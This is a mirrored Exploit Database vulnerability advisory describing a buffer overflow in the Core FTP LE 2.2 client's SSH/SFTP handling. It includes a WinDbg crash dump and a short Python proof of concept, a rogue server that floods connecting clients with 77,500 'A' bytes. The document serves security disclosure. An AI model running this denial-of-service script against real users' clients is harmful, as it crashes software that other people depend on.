Core FTP LE 2.2 – ‘SSH/SFTP’ Remote Buffer Overflow (PoC)

Exploit Database
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作者： hyp3rlinx

日期： 2016-11-27
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/40828/

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[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/CORE-FTP-REMOTE-SSH-SFTP-BUFFER-OVERFLOW.txt

[+] ISR: ApparitionSec

Vendor:

===============

www.coreftp.com

Product:

========================

Core FTP LE (client)

v2.2 build 1883

Core FTP LE - free Windows software that includes the client FTP features

you need. Features like SFTP (SSH), SSL, TLS, FTPS, IDN,

browser integration, site to site transfers, FTP transfer resume, drag and

drop support, file viewing & editing, firewall support,

custom commands, FTP URL parsing, command line transfers, filters, and

much, much more.

Vulnerability Type:

================================

Remote SSH/SFTP Buffer Overflow

CVE Reference:

==============

N/A

Vulnerability Details:

=====================

Core FTP client is vulnerable to remote buffer overflow denial of service

when connecting to a malicious server using

SSH/SFTP protocol.

Upon receiving an overly long string of junk from the malicious FTP server

response, Core FTP crashes and the stack

is corrupted with several registers EBX, EDX, EDI being overwritten as can

be seen below.

WinDbg dump...

(d9c.16d8): Access violation - code c0000005 (first/second chance not

available)

eax=035b0000 ebx=00004141 ecx=03ac7e40 edx=41414141 esi=03ac7e38

edi=41414141

eip=77313ac3 esp=0439fa10 ebp=0439fae0 iopl=0 nv up ei pl nz ac pe

cs=0023ss=002bds=002bes=002bfs=0053gs=002b

efl=00010216

ntdll!RtlImageNtHeader+0x92f:

77313ac3 8b12mov edx,dword ptr [edx]

ds:002b:41414141=????????

Exploit code(s):

===============

import socket

print 'hyp3rlinx - Apparition Security'

print 'Core FTP SSH/SFTP Remote Buffer Overflow / DOS\r\n'

host='127.0.0.1'

port = 22

s = socket.socket()

payload="A"*77500

s.bind((host, port))

s.listen(5)

print 'Listening on port... %i' %port

print 'Connect to me!'

while True:

conn, addr = s.accept()

conn.send(payload+'\r\n')

conn.close()

Exploitation Technique:

=======================

Remote

Severity Level:

===============

High

[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory,

provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in

vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the

information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author

prohibits any malicious use of security related information

or exploits by the author or elsewhere.

hyp3rlinx